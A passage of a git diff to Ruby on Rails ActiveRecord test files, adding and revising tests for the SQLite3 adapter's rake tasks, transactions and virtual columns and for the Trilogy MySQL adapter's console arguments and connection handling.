           subscriber = SQLSubscriber.new
@@ -426,12 +1339,40 @@ def assert_logged(logs)
         end
 
         def with_example_table(definition = nil, table_name = "ex", &block)
-          definition ||= <<-SQL
+          definition ||= <<~SQL
             id integer PRIMARY KEY AUTOINCREMENT,
             number integer
           SQL
           super(@conn, table_name, definition, &block)
         end
+
+        def with_strict_strings_by_default
+          SQLite3Adapter.strict_strings_by_default = true
+          yield
+        ensure
+          SQLite3Adapter.strict_strings_by_default = false
+        end
+
+        def with_file_connection(options = {})
+          options = options.dup
+          db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+          options[:database] ||= db_config.database
+          conn = SQLite3Adapter.new(options)
+
+          yield(conn)
+        ensure
+          conn.disconnect! if conn
+        end
+
+        def with_memory_connection(options = {})
+          options = options.dup
+          options[:database] = ":memory:"
+          conn = SQLite3Adapter.new(options)
+
+          yield(conn)
+        ensure
+          conn.disconnect! if conn
+        end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
index b1b4463bf10a7..2ecf38de53862 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/owner"
 
@@ -6,17 +8,18 @@ module ConnectionAdapters
     class SQLite3CreateFolder < ActiveRecord::SQLite3TestCase
       def test_sqlite_creates_directory
         Dir.mktmpdir do |dir|
-          begin
-            dir = Pathname.new(dir)
-            @conn = Base.sqlite3_connection database: dir.join("db/foo.sqlite3"),
-                                 adapter: "sqlite3",
-                                 timeout: 100
+          dir = Pathname.new(dir)
+          @conn = SQLite3Adapter.new(
+            database: dir.join("db/foo.sqlite3"),
+            adapter: "sqlite3",
+            timeout: 100,
+          )
+          @conn.connect!
 
-            assert Dir.exist? dir.join("db")
-            assert File.exist? dir.join("db/foo.sqlite3")
-          ensure
-            @conn.disconnect! if @conn
-          end
+          assert Dir.exist? dir.join("db")
+          assert File.exist? dir.join("db/foo.sqlite3")
+        ensure
+          @conn.disconnect! if @conn
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite_rake_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite_rake_test.rb
new file mode 100644
index 0000000000000..01826455dcf04
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite_rake_test.rb
@@ -0,0 +1,247 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+require "pathname"
+
+module ActiveRecord
+  class SqliteDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @configuration = {
+        "adapter"  => "sqlite3",
+        "database" => @database
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_db_checks_database_exists
+      ActiveRecord::Base.stub(:establish_connection, nil) do
+        assert_called_with(ConnectionAdapters::SQLite3Adapter, :resolve_path, [@database], returns: @database_root) do
+          assert_called_with(File, :exist?, [@database_root], returns: false) do
+            ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+          end
+        end
+      end
+    end
+
+    def test_when_db_created_successfully_outputs_info_to_stdout
+      ActiveRecord::Base.stub(:establish_connection, nil) do
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+
+        assert_equal "Created database '#{@database}'\n", $stdout.string
+      end
+    end
+
+    def test_db_create_when_file_exists
+      File.stub(:exist?, true) do
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+
+        assert_equal "Database '#{@database}' already exists\n", $stderr.string
+      end
+    end
+
+    def test_db_create_with_file_does_nothing
+      File.stub(:exist?, true) do
+        assert_not_called(ActiveRecord::Base, :establish_connection) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+        end
+      end
+    end
+
+    def test_db_create_establishes_a_connection
+      calls = []
+      ActiveRecord::Base.stub(:establish_connection, proc { |*args| calls << args }) do
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
+      end
+
+      assert_equal [@configuration.symbolize_keys], calls.map { |c| c.first.configuration_hash }
+    end
+
+    def test_db_create_with_error_prints_message
+      ActiveRecord::Base.stub(:establish_connection, proc { raise Exception }) do
+        assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root" }
+        assert_match "Couldn't create '#{@configuration['database']}' database. Please check your configuration.", $stderr.string
+      end
+    end
+  end
+
+  class SqliteDBDropTest < ActiveRecord::TestCase
+    def setup
+      @root          = "/rails/root"
+      @database      = "db_create.sqlite3"
+      @database_root = File.join(@root, @database)
+      @configuration = {
+        "adapter"  => "sqlite3",
+        "database" => @database
+      }
+      @configuration_root = {
+        "adapter"  => "sqlite3",
+        "database" => @database_root
+      }
+
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_removes_fully_resolved_db_path
+      assert_called_with(ConnectionAdapters::SQLite3Adapter, :resolve_path, [@database], root: "/rails/root", returns: @database_root) do
+        assert_called_with(FileUtils, :rm, [@database_root]) do
+          assert_called_with(FileUtils, :rm_f, [["#{@database_root}-shm", "#{@database_root}-wal"]]) do
+            ActiveRecord::Tasks::DatabaseTasks.drop @configuration, @root
+          end
+        end
+      end
+    end
+
+    def test_when_db_dropped_successfully_outputs_info_to_stdout
+      FileUtils.stub(:rm, nil) do
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, @root
+
+        assert_equal "Dropped database '#{@database}'\n", $stdout.string
+      end
+    end
+  end
+
+  class SqliteDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @connection    = Class.new { def encoding; end }.new
+      @configuration = {
+        "adapter"  => "sqlite3",
+        "database" => @database
+      }
+    end
+
+    def test_db_retrieves_charset
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :encoding) do
+          ActiveRecord::Tasks::DatabaseTasks.charset @configuration, "/rails/root"
+        end
+      end
+    end
+  end
+
+  class SqliteDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @configuration = {
+        "adapter"  => "sqlite3",
+        "database" => @database
+      }
+    end
+
+    def test_db_retrieves_collation
+      assert_raise NoMethodError do
+        ActiveRecord::Tasks::DatabaseTasks.collation @configuration, "/rails/root"
+      end
+    end
+  end
+
+  class SqliteStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @configuration = {
+        "adapter"  => "sqlite3",
+        "database" => @database
+      }
+
+      `sqlite3 #{@database} 'CREATE TABLE bar(id INTEGER)'`
+      `sqlite3 #{@database} 'CREATE TABLE foo(id INTEGER)'`
+    end
+
+    def test_structure_dump
+      dbfile   = @database
+      filename = "awesome-file.sql"
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, "/rails/root"
+      assert File.exist?(dbfile)
+      assert File.exist?(filename)
+      assert_match(/CREATE TABLE foo/, File.read(filename))
+      assert_match(/CREATE TABLE bar/, File.read(filename))
+    ensure
+      FileUtils.rm_f(filename)
+      FileUtils.rm_f(dbfile)
+    end
+
+    def test_structure_dump_with_ignore_tables
+      dbfile   = @database
+      filename = "awesome-file.sql"
+      ActiveRecord::Base.lease_connection.stub(:data_sources, ["foo", "bar", "prefix_foo", "ignored_foo"]) do
+        ActiveRecord::SchemaDumper.stub(:ignore_tables, [/^prefix_/, "ignored_foo"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename, "/rails/root")
+        end
+      end
+      assert File.exist?(dbfile)
+      assert File.exist?(filename)
+      contents = File.read(filename)
+      assert_match(/bar/, contents)
+      assert_no_match(/prefix_foo/, contents)
+      assert_no_match(/ignored_foo/, contents)
+    ensure
+      FileUtils.rm_f(filename)
+      FileUtils.rm_f(dbfile)
+    end
+
+    def test_structure_dump_execution_fails
+      dbfile   = @database
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["sqlite3", "--noop", "db_create.sqlite3", ".schema --nosys", { out: "awesome-file.sql" }],
+        returns: nil,
+      ) do
+        e = assert_raise(RuntimeError) do
+          with_structure_dump_flags(["--noop"]) do
+            quietly { ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename, "/rails/root") }
+          end
+        end
+        assert_match("failed to execute:", e.message)
+      end
+    ensure
+      FileUtils.rm_f(filename)
+      FileUtils.rm_f(dbfile)
+    end
+
+    private
+      def with_structure_dump_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
+      end
+  end
+
+  class SqliteStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @database      = "db_create.sqlite3"
+      @configuration = {
+        "adapter"  => "sqlite3",
+        "database" => @database
+      }
+    end
+
+    def test_structure_load
+      dbfile   = @database
+      filename = "awesome-file.sql"
+
+      open(filename, "w") { |f| f.puts("select datetime('now', 'localtime');") }
+      quietly { ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, "/rails/root" }
+      assert File.exist?(dbfile)
+    ensure
+      FileUtils.rm_f(filename)
+      FileUtils.rm_f(dbfile)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
index 37ff973397b02..765164e4d7be2 100644
--- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class SQLite3StatementPoolTest < ActiveRecord::SQLite3TestCase
@@ -8,12 +10,12 @@ def test_cache_is_per_pid
       assert_equal "bar", cache["foo"]
 
       pid = fork {
-        lookup = cache["foo"];
+        lookup = cache["foo"]
         exit!(!lookup)
       }
 
       Process.waitpid pid
-      assert $?.success?, "process should exit successfully"
+      assert_predicate $?, :success?, "process should exit successfully"
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/transaction_test.rb b/activerecord/test/cases/adapters/sqlite3/transaction_test.rb
new file mode 100644
index 0000000000000..dcd35886d4aae
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/transaction_test.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class SQLite3TransactionTest < ActiveRecord::SQLite3TestCase
+  test "shared_cached? is true when cache-mode is enabled" do
+    with_connection(flags: shared_cache_flags) do |conn|
+      assert_predicate(conn, :shared_cache?)
+    end
+  end
+
+  test "shared_cached? is false when cache-mode is disabled" do
+    flags = ::SQLite3::Constants::Open::READWRITE | SQLite3::Constants::Open::CREATE
+
+    with_connection(flags: flags) do |conn|
+      assert_not_predicate(conn, :shared_cache?)
+    end
+  end
+
+  test "raises when trying to open a transaction in a isolation level other than `read_uncommitted`" do
+    with_connection do |conn|
+      assert_raises(ActiveRecord::TransactionIsolationError) do
+        conn.transaction(requires_new: true, isolation: :something) do
+          conn.transaction_manager.materialize_transactions
+        end
+      end
+    end
+  end
+
+  test "raises when trying to open a read_uncommitted transaction but shared-cache mode is turned off" do
+    with_connection do |conn|
+      error = assert_raises(StandardError) do
+        conn.transaction(requires_new: true, isolation: :read_uncommitted) do
+          conn.transaction_manager.materialize_transactions
+        end
+      end
+
+      assert_match("You need to enable the shared-cache mode", error.message)
+    end
+  end
+
+  test "opens a `read_uncommitted` transaction" do
+    with_connection(flags: shared_cache_flags) do |conn1|
+      conn1.create_table(:zines) { |t| t.column(:title, :string) } if in_memory_db?
+      conn1.transaction do
+        conn1.transaction_manager.materialize_transactions
+        conn1.execute("INSERT INTO zines (title) VALUES ('foo')")
+
+        with_connection(flags: shared_cache_flags) do |conn2|
+          conn2.transaction(joinable: false, isolation: :read_uncommitted) do
+            assert_not_empty(conn2.execute("SELECT * FROM zines WHERE title = 'foo'"))
+          end
+        end
+
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+
+  test "reset the read_uncommitted PRAGMA when a transaction is rolled back" do
+    with_connection(flags: shared_cache_flags) do |conn|
+      conn.connect!
+      conn.transaction(joinable: false, isolation: :read_uncommitted) do
+        assert_not(read_uncommitted?(conn))
+        conn.transaction_manager.materialize_transactions
+        assert(read_uncommitted?(conn))
+
+        raise ActiveRecord::Rollback
+      end
+
+      assert_not(read_uncommitted?(conn))
+    end
+  end
+
+  test "reset the read_uncommitted PRAGMA when a transaction is committed" do
+    with_connection(flags: shared_cache_flags) do |conn|
+      conn.connect!
+      conn.transaction(joinable: false, isolation: :read_uncommitted) do
+        assert_not(read_uncommitted?(conn))
+        conn.transaction_manager.materialize_transactions
+        assert(read_uncommitted?(conn))
+      end
+
+      assert_not(read_uncommitted?(conn))
+    end
+  end
+
+  test "set the read_uncommitted PRAGMA to its previous value" do
+    with_connection(flags: shared_cache_flags) do |conn|
+      conn.connect!
+      conn.transaction(joinable: false, isolation: :read_uncommitted) do
+        conn.instance_variable_get(:@raw_connection).read_uncommitted = true
+        assert(read_uncommitted?(conn))
+        conn.transaction_manager.materialize_transactions
+        assert(read_uncommitted?(conn))
+      end
+
+      assert(read_uncommitted?(conn))
+    end
+  end
+
+  private
+    def read_uncommitted?(conn)
+      conn.instance_variable_get(:@raw_connection).get_first_value("PRAGMA read_uncommitted") != 0
+    end
+
+    def shared_cache_flags
+      ::SQLite3::Constants::Open::READWRITE | SQLite3::Constants::Open::CREATE | ::SQLite3::Constants::Open::SHAREDCACHE
+    end
+
+    def with_connection(options = {})
+      options = options.dup
+      if in_memory_db?
+        options[:database] ||= "file::memory:"
+        options[:flags] = options[:flags].to_i | ::SQLite3::Constants::Open::URI | ::SQLite3::Constants::Open::READWRITE
+      else
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        options[:database] ||= db_config.database
+      end
+      conn = ActiveRecord::ConnectionAdapters::SQLite3Adapter.new(options)
+
+      yield(conn)
+    ensure
+      conn.disconnect! if conn
+    end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/virtual_column_test.rb b/activerecord/test/cases/adapters/sqlite3/virtual_column_test.rb
new file mode 100644
index 0000000000000..49ef2bf6180b9
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/virtual_column_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_virtual_columns?
+  class SQLite3VirtualColumnTest < ActiveRecord::SQLite3TestCase
+    include SchemaDumpingHelper
+
+    class VirtualColumn < ActiveRecord::Base
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table :virtual_columns, force: true do |t|
+        t.string  :name
+        t.virtual :upper_name, type: :string, as: "UPPER(name)", stored: true
+        t.virtual :lower_name, type: :string, as: "LOWER(name)", stored: false
+        t.virtual :octet_name, type: :integer, as: "LENGTH(name)"
+        t.virtual :mutated_name, type: :string, as: "REPLACE(name, 'l', 'L')"
+        t.integer :column1
+      end
+      VirtualColumn.create(name: "Rails", column1: 10)
+    end
+
+    def teardown
+      @connection.drop_table :virtual_columns, if_exists: true
+      VirtualColumn.reset_column_information
+    end
+
+    def test_virtual_column_with_full_inserts
+      partial_inserts_was = VirtualColumn.partial_inserts
+      VirtualColumn.partial_inserts = false
+      assert_nothing_raised do
+        VirtualColumn.create!(name: "Rails")
+      end
+    ensure
+      VirtualColumn.partial_inserts = partial_inserts_was
+    end
+
+    def test_stored_column
+      column = VirtualColumn.columns_hash["upper_name"]
+      assert_predicate column, :virtual?
+      assert_predicate column, :virtual_stored?
+      assert_equal "RAILS", VirtualColumn.take.upper_name
+    end
+
+    def test_explicit_virtual_column
+      column = VirtualColumn.columns_hash["lower_name"]
+      assert_predicate column, :virtual?
+      assert_not_predicate column, :virtual_stored?
+      assert_equal "rails", VirtualColumn.take.lower_name
+    end
+
+    def test_implicit_virtual_column
+      column = VirtualColumn.columns_hash["octet_name"]
+      assert_predicate column, :virtual?
+      assert_not_predicate column, :virtual_stored?
+      assert_equal 5, VirtualColumn.take.octet_name
+    end
+
+    def test_virtual_column_with_comma_in_definition
+      column = VirtualColumn.columns_hash["mutated_name"]
+      assert_predicate column, :virtual?
+      assert_not_predicate column, :virtual_stored?
+      assert_not_nil column.default_function
+      assert_equal "RaiLs", VirtualColumn.take.mutated_name
+    end
+
+    def test_change_table_with_stored_generated_column
+      @connection.change_table :virtual_columns do |t|
+        t.virtual :decr_column1, type: :integer, as: "column1 - 1", stored: true
+      end
+      VirtualColumn.reset_column_information
+      column = VirtualColumn.columns_hash["decr_column1"]
+      assert_predicate column, :virtual?
+      assert_predicate column, :virtual_stored?
+      assert_equal 9, VirtualColumn.take.decr_column1
+    end
+
+    def test_change_table_with_explicit_virtual_generated_column
+      @connection.change_table :virtual_columns do |t|
+        t.virtual :incr_column1, type: :integer, as: "column1 + 1", stored: false
+      end
+      VirtualColumn.reset_column_information
+      column = VirtualColumn.columns_hash["incr_column1"]
+      assert_predicate column, :virtual?
+      assert_not_predicate column, :virtual_stored?
+      assert_equal 11, VirtualColumn.take.incr_column1
+    end
+
+    def test_change_table_with_implicit_virtual_generated_column
+      @connection.change_table :virtual_columns do |t|
+        t.virtual :sqr_column1, type: :integer, as: "pow(column1, 2)"
+      end
+      VirtualColumn.reset_column_information
+      column = VirtualColumn.columns_hash["sqr_column1"]
+      assert_predicate column, :virtual?
+      assert_not_predicate column, :virtual_stored?
+      assert_equal 100, VirtualColumn.take.sqr_column1
+    end
+
+    def test_schema_dumping
+      output = dump_table_schema("virtual_columns")
+      assert_match(/t\.virtual\s+"upper_name",\s+type: :string,\s+as: "UPPER\(name\)", stored: true$/i, output)
+    end
+
+    def test_build_fixture_sql
+      fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :virtual_columns).first
+      assert_equal 2, fixtures.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/virtual_table_test.rb b/activerecord/test/cases/adapters/sqlite3/virtual_table_test.rb
new file mode 100644
index 0000000000000..8731d46ebdaa7
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/virtual_table_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class SQLite3VirtualTableTest < ActiveRecord::SQLite3TestCase
+  include SchemaDumpingHelper
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_virtual_table :searchables, :fts5, ["content", "meta UNINDEXED", "tokenize='porter ascii'"]
+  end
+
+  def teardown
+    @connection.drop_table :searchables, if_exists: true
+  end
+
+  def test_schema_dump
+    output = dump_all_table_schema
+
+    assert_not_includes output, "searchables_docsize"
+    assert_includes output, 'create_virtual_table "searchables", "fts5", ["content", "meta UNINDEXED", "tokenize=\'porter ascii\'"]'
+  end
+
+  def test_schema_load
+    original, $stdout = $stdout, StringIO.new
+
+    ActiveRecord::Schema.define do
+      create_virtual_table :emails, :fts5, ["content", "meta UNINDEXED"]
+    end
+
+    assert @connection.virtual_table_exists?(:emails)
+  ensure
+    $stdout = original
+  end
+end
diff --git a/activerecord/test/cases/adapters/trilogy/dbconsole_test.rb b/activerecord/test/cases/adapters/trilogy/dbconsole_test.rb
new file mode 100644
index 0000000000000..52b7cecf66b44
--- /dev/null
+++ b/activerecord/test/cases/adapters/trilogy/dbconsole_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/testing/method_call_assertions"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class TrilogyDbConsoleTest < ActiveRecord::TrilogyTestCase
+      include ActiveSupport::Testing::MethodCallAssertions
+
+      def test_trilogy
+        config = make_db_config(adapter: "trilogy", database: "db")
+
+        assert_find_cmd_and_exec_called_with([%w[mysql mysql5], "db"]) do
+          TrilogyAdapter.dbconsole(config)
+        end
+      end
+
+      def test_mysql_full
+        config = make_db_config(
+          adapter:   "trilogy",
+          database:  "db",
+          host:      "localhost",
+          port:      1234,
+          socket:    "socket",
+          username:  "user",
+          password:  "qwerty",
+          encoding:  "UTF-8",
+          sslca:     "/path/to/ca-cert.pem",
+          sslcert:   "/path/to/client-cert.pem",
+          sslcapath: "/path/to/cacerts",
+          sslcipher: "DHE-RSA-AES256-SHA",
+          sslkey:    "/path/to/client-key.pem",
+          ssl_mode:  "VERIFY_IDENTITY"
+        )
+
+        args = [
+          %w[mysql mysql5],
+          "--host=localhost",
+          "--port=1234",
+          "--socket=socket",
+          "--user=user",
+          "--default-character-set=UTF-8",
+          "--ssl-ca=/path/to/ca-cert.pem",
+          "--ssl-cert=/path/to/client-cert.pem",
+          "--ssl-capath=/path/to/cacerts",
+          "--ssl-cipher=DHE-RSA-AES256-SHA",
+          "--ssl-key=/path/to/client-key.pem",
+          "--ssl-mode=VERIFY_IDENTITY",
+          "-p", "db"
+        ]
+
+        assert_find_cmd_and_exec_called_with(args) do
+          TrilogyAdapter.dbconsole(config)
+        end
+      end
+
+      def test_mysql_include_password
+        config = make_db_config(adapter: "trilogy", database: "db", username: "user", password: "qwerty")
+
+        assert_find_cmd_and_exec_called_with([%w[mysql mysql5], "--user=user", "--password=qwerty", "db"]) do
+          TrilogyAdapter.dbconsole(config, include_password: true)
+        end
+      end
+
+      private
+        def make_db_config(config)
+          ActiveRecord::DatabaseConfigurations::HashConfig.new("test", "primary", config)
+        end
+
+        def assert_find_cmd_and_exec_called_with(args, &block)
+          assert_called_with(TrilogyAdapter, :find_cmd_and_exec, args, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/trilogy/trilogy_adapter_test.rb b/activerecord/test/cases/adapters/trilogy/trilogy_adapter_test.rb
new file mode 100644
index 0000000000000..7717bb848299b
--- /dev/null
+++ b/activerecord/test/cases/adapters/trilogy/trilogy_adapter_test.rb
@@ -0,0 +1,422 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+require "models/book"
+require "models/post"
+require "timeout"
+
+class TrilogyAdapterTest < ActiveRecord::TrilogyTestCase
+  setup do
+    @conn = ActiveRecord::Base.lease_connection
+  end
+
+  test "connection_error" do
+    error = assert_raises ActiveRecord::ConnectionNotEstablished do
+      ActiveRecord::ConnectionAdapters::TrilogyAdapter.new(host: "invalid", port: 12345).connect!
+    end
+    assert_kind_of ActiveRecord::ConnectionAdapters::NullPool, error.connection_pool
+  end
+
+  test "timeout in transaction doesnt query closed connection" do
+    assert_raises(Timeout::Error) do
+      Timeout.timeout(0.1) do
+        @conn.transaction do
+          @conn.execute("SELECT SLEEP(1)")
+        end
+      end
+    end
+  end
+
+  test "timeout in fixture set insertion doesnt query closed connection" do
+    fixtures = [
+      ["traffic_lights", [
+        { "location" => "US", "state" => ["NY"], "long_state" => ["a"] },
+      ]]
+    ] * 2000
+
+    assert_raises(Timeout::Error) do
+      Timeout.timeout(0.1) do
+        @conn.insert_fixtures_set(fixtures)
+      end
+    end
+  end
+
+  test "timeout without referential integrity doesnt query closed connection" do
+    assert_raises(Timeout::Error) do
+      Timeout.timeout(0.1) do
+        @conn.disable_referential_integrity do
+          @conn.execute("SELECT SLEEP(1)")
+        end
+      end
+    end
+  end
+
+  test "#explain for one query" do
+    explain = @conn.explain("select * from posts")
+    assert_match %r(posts), explain
+  end
+
+  test "#adapter_name answers name" do
+    assert_equal "Trilogy", @conn.adapter_name
+  end
+
+  test "#supports_json answers true without Maria DB and greater version" do
+    @conn.stub(:mariadb?, false) do
+      assert_equal true, @conn.supports_json?
+    end
+  end
+
+  test "#supports_json answers false without Maria DB and lesser version" do
+    database_version = @conn.class::Version.new("5.0.0", nil)
+
+    @conn.stub(:database_version, database_version) do
+      assert_equal false, @conn.supports_json?
+    end
+  end
+
+  test "#supports_json answers false with Maria DB" do
+    @conn.stub(:mariadb?, true) do
+      assert_equal false, @conn.supports_json?
+    end
+  end
+
+  test "#supports_comments? answers true" do
+    assert_predicate @conn, :supports_comments?
+  end
+
+  test "#supports_comments_in_create? answers true" do
+    assert_predicate @conn, :supports_comments_in_create?
+  end
+
+  test "#supports_savepoints? answers true" do
+    assert_predicate @conn, :supports_savepoints?
+  end
+
+  test "#requires_reloading? answers false" do
+    assert_equal false, @conn.requires_reloading?
+  end
+
+  test "#native_database_types answers known types" do
+    assert_equal ActiveRecord::ConnectionAdapters::TrilogyAdapter::NATIVE_DATABASE_TYPES, @conn.native_database_types
+  end
+
+  test "#quote_column_name answers quoted string when not quoted" do
+    assert_equal "`test`", @conn.quote_column_name("test")
+  end
+
+  test "#quote_column_name answers triple quoted string when quoted" do
+    assert_equal "```test```", @conn.quote_column_name("`test`")
+  end
+
+  test "#quote_column_name answers quoted string for integer" do
+    assert_equal "`1`", @conn.quote_column_name(1)
+  end
+
+  test "#quote_string answers string with connection" do
+    assert_equal "\\\"test\\\"", @conn.quote_string(%("test"))
+  end
+
+  test "#quoted_true answers TRUE" do
+    assert_equal "TRUE", @conn.quoted_true
+  end
+
+  test "#quoted_false answers FALSE" do
+    assert_equal "FALSE", @conn.quoted_false
+  end
+
+  test "#active? answers true with connection" do
+    assert_predicate @conn, :active?
+  end
+
+  test "#active? answers false with connection and exception" do
+    @conn.instance_variable_get(:@raw_connection).stub(:ping, -> { raise ::Trilogy::BaseError.new }) do
+      assert_equal false, @conn.active?
+    end
+  end
+
+  test "#reconnect answers new connection with existing connection" do
+    old_connection = @conn.instance_variable_get(:@raw_connection)
+    @conn.reconnect!
+    connection = @conn.instance_variable_get(:@raw_connection)
+
+    assert_instance_of Trilogy, connection
+    assert_not_equal old_connection, connection
+  end
+
+  test "#reset answers new connection with existing connection" do
+    old_connection = @conn.instance_variable_get(:@raw_connection)
+    @conn.reset!
+    connection = @conn.instance_variable_get(:@raw_connection)
+
+    assert_instance_of Trilogy, connection
+    assert_not_equal old_connection, connection
+  end
+
+  test "#disconnect makes adapter inactive with connection" do
+    @conn.disconnect!
+    assert_equal false, @conn.active?
+  end
+
+  test "#disconnect answers nil with connection" do
+    assert_nil @conn.disconnect!
+  end
+
+  test "#discard answers nil with connection" do
+    assert_nil @conn.discard!
+  end
+
+  test "#discard makes adapter inactive with connection" do
+    @conn.discard!
+    assert_equal false, @conn.active?
+  end
+
+  test "#exec_query fails with invalid query" do
+    error = assert_raises ActiveRecord::StatementInvalid, match: /'activerecord_unittest.bogus' doesn't exist/ do
+      @conn.exec_query "SELECT * FROM bogus;"
+    end
+    assert_equal @conn.pool, error.connection_pool
+  end
+
+  test "#execute answers results for valid query" do
+    result = @conn.execute "SELECT id, author_id, title, body FROM posts;"
+    assert_equal %w[id author_id title body], result.fields
+  end
+
+  test "#execute fails with invalid query" do
+    error = assert_raises ActiveRecord::StatementInvalid, match: /Table 'activerecord_unittest.bogus' doesn't exist/ do
+      @conn.execute "SELECT * FROM bogus;"
+    end
+    assert_equal @conn.pool, error.connection_pool
+  end
+
+  test "#execute fails with invalid SQL" do
+    error = assert_raises(ActiveRecord::StatementInvalid) do
+      @conn.execute "SELECT bogus FROM posts;"
+    end
+
+    assert_equal @conn.pool, error.connection_pool
+  end
+
+  test "#select_all when query cache is enabled fires the same notification payload for uncached and cached queries" do
+    @conn.cache do
+      event_fired = false
+      subscription = ->(name, start, finish, id, payload) {
+        next if payload[:name] == "SCHEMA"
+
+        event_fired = true
+
+        # First, we test keys that are defined by default by the AbstractAdapter
+        assert_includes payload, :sql
+        assert_equal "SELECT * FROM posts", payload[:sql]
+
+        assert_includes payload, :name
+        assert_equal "uncached query", payload[:name]
+
+        assert_includes payload, :connection
+        assert_equal @conn, payload[:connection]
+
+        assert_includes payload, :binds
+        assert_equal [], payload[:binds]
+
+        assert_includes payload, :type_casted_binds
+        assert_equal [], payload[:type_casted_binds]
+
+        assert_nil payload[:statement_name]
+
+        assert_not_includes payload, :cached
+      }
+      ActiveSupport::Notifications.subscribed(subscription, "sql.active_record") do
+        @conn.select_all "SELECT * FROM posts", "uncached query"
+      end
+      assert event_fired
+
+      event_fired = false
+      subscription = ->(name, start, finish, id, payload) {
+        next if payload[:name] == "SCHEMA"
+
+        event_fired = true
+
+        # First, we test keys that are defined by default by the AbstractAdapter
+        assert_includes payload, :sql
+        assert_equal "SELECT * FROM posts", payload[:sql]
+
+        assert_includes payload, :name
+        assert_equal "cached query", payload[:name]
+
+        assert_includes payload, :connection
+        assert_equal @conn, payload[:connection]
+
+        assert_includes payload, :binds
+        assert_equal [], payload[:binds]
+
+        assert_includes payload, :type_casted_binds
+        assert_equal [], payload[:type_casted_binds].is_a?(Proc) ? payload[:type_casted_binds].call : payload[:type_casted_binds]
+
+        # Rails does not include :statement_name for cached queries 🤷�♂�
+        assert_not_includes payload, :statement_name
+
+        assert_includes payload, :cached
+        assert_equal true, payload[:cached]
+      }
+      ActiveSupport::Notifications.subscribed(subscription, "sql.active_record") do
+        @conn.select_all "SELECT * FROM posts", "cached query"
+      end
+      assert event_fired
+    end
+  end
+
+  test "#execute answers result with valid SQL" do
+    result = @conn.execute "SELECT id, author_id, title FROM posts;"
+
+    assert_equal %w[id author_id title], result.fields
+  end
+
+  test "#execute emits a query notification" do
